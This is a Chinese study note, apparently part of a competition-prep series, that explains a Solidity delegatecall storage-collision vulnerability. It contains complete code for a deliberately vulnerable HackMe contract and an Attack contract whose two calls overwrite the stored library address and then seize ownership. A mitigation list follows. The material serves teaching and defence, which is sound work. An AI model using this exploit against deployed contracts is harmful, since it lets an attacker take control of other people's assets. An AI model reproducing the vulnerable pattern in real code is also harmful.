这个案例的重点是调用方和被调用代码使用了不同的存储布局。两次调用分别改变库地址和所有者。
本文由个人备赛旧笔记整理,整理日期为 2026-11-03。命令、输出和测试记录属于当时的实验环境;本文未重新搭建整套环境验证。
阅读前先确认
逐个列出各合约的 slot 0、slot 1、slot 2,再跟踪 delegatecall 写入哪个槽。调用执行的是外部代码,修改的是调用方的状态。
委托调用漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| // SPDX许可证标识:MIT pragma solidity ^0.8.17;
/* 这是先前漏洞利用的进阶版本。
Alice部署Lib合约及传入Lib地址的HackMe合约 Eve部署传入HackMe地址的Attack合约 Eve调用Attack.attack() Attack合约现已成为HackMe的所有者 原理说明: 注意Lib和HackMe中的状态变量定义方式并不相同。这意味着调用Lib.doSomething()将会改变HackMe内的第一个状态变量, 而这个变量恰好是lib的地址。
在attack()函数中: 第一次doSomething()调用修改了HackMe中存储的lib地址,此时lib地址已被设置为Attack合约地址。 第二次doSomething()调用实际上执行了Attack.doSomething(),在这个函数中我们修改了所有者。 */
contract Lib { uint public someNumber;
function doSomething(uint _num) public { someNumber = _num; } }
contract HackMe { address public lib; address public owner; uint public someNumber;
constructor(address _lib) { lib = _lib; owner = msg.sender; }
function doSomething(uint _num) public { lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num)); } }
contract Attack { // 保持与HackMe完全相同的存储布局 // 这样才能正确更新状态变量 address public lib; address public owner; uint public someNumber;
HackMe public hackMe;
constructor(HackMe _hackMe) { hackMe = HackMe(_hackMe); }
function attack() public { // 覆盖lib地址(将本合约地址转换为uint160后转为uint256类型) hackMe.doSomething(uint(uint160(address(this)))); // 传入任意数值参数,实际会触发下方doSomething()函数的执行 hackMe.doSomething(1); }
// 函数签名必须与HackMe.doSomething()保持一致 function doSomething(uint _num) public { owner = msg.sender; } }
|
漏洞原理分析
1. 存储布局不匹配
Lib合约的存储布局:someNumber (slot0)
HackMe合约的存储布局:lib (slot0), owner (slot1), someNumber (slot2)
- 当
HackMe通过delegatecall调用Lib.doSomething()时,Lib代码会在HackMe的存储上下文中执行
2. 关键攻击向量
1 2 3 4 5 6 7 8
| // 第一次调用:修改lib地址为攻击合约地址
hackMe.doSomething(uint(uint160(address(this))));
// 第二次调用:实际执行Attack.doSomething(),修改owner
hackMe.doSomething(1);
|
存储槽覆盖
Lib.doSomething()中的someNumber = _num实际上会写入HackMe的slot0(即lib变量)
- 这导致
lib地址被恶意替换为攻击合约地址
权限提升
- 攻击合约通过伪装成lib合约,获得执行
delegatecall的权限
- 在第二次调用时,攻击合约的
doSomething()函数修改了owner变量
- 避免使用delegatecall:除非绝对必要,否则避免使用delegatecall
- 存储隔离:库合约和主合约应使用相同的存储布局
- 输入验证:对所有外部调用参数进行严格验证
- 权限控制:限制敏感函数的调用权限
- 使用标准库:优先使用经过审计的标准库合约
复现时的自查
- 记录自己实际使用的版本、配置和缺失依赖。
- 对照本篇关键步骤,保存命令或调用结果,并解释结果代表什么。
- 对失败或与原记录不一致的情况保留错误信息,不把历史输出当成自己的验证结果。
返回系列导读 · 上一篇 · 下一篇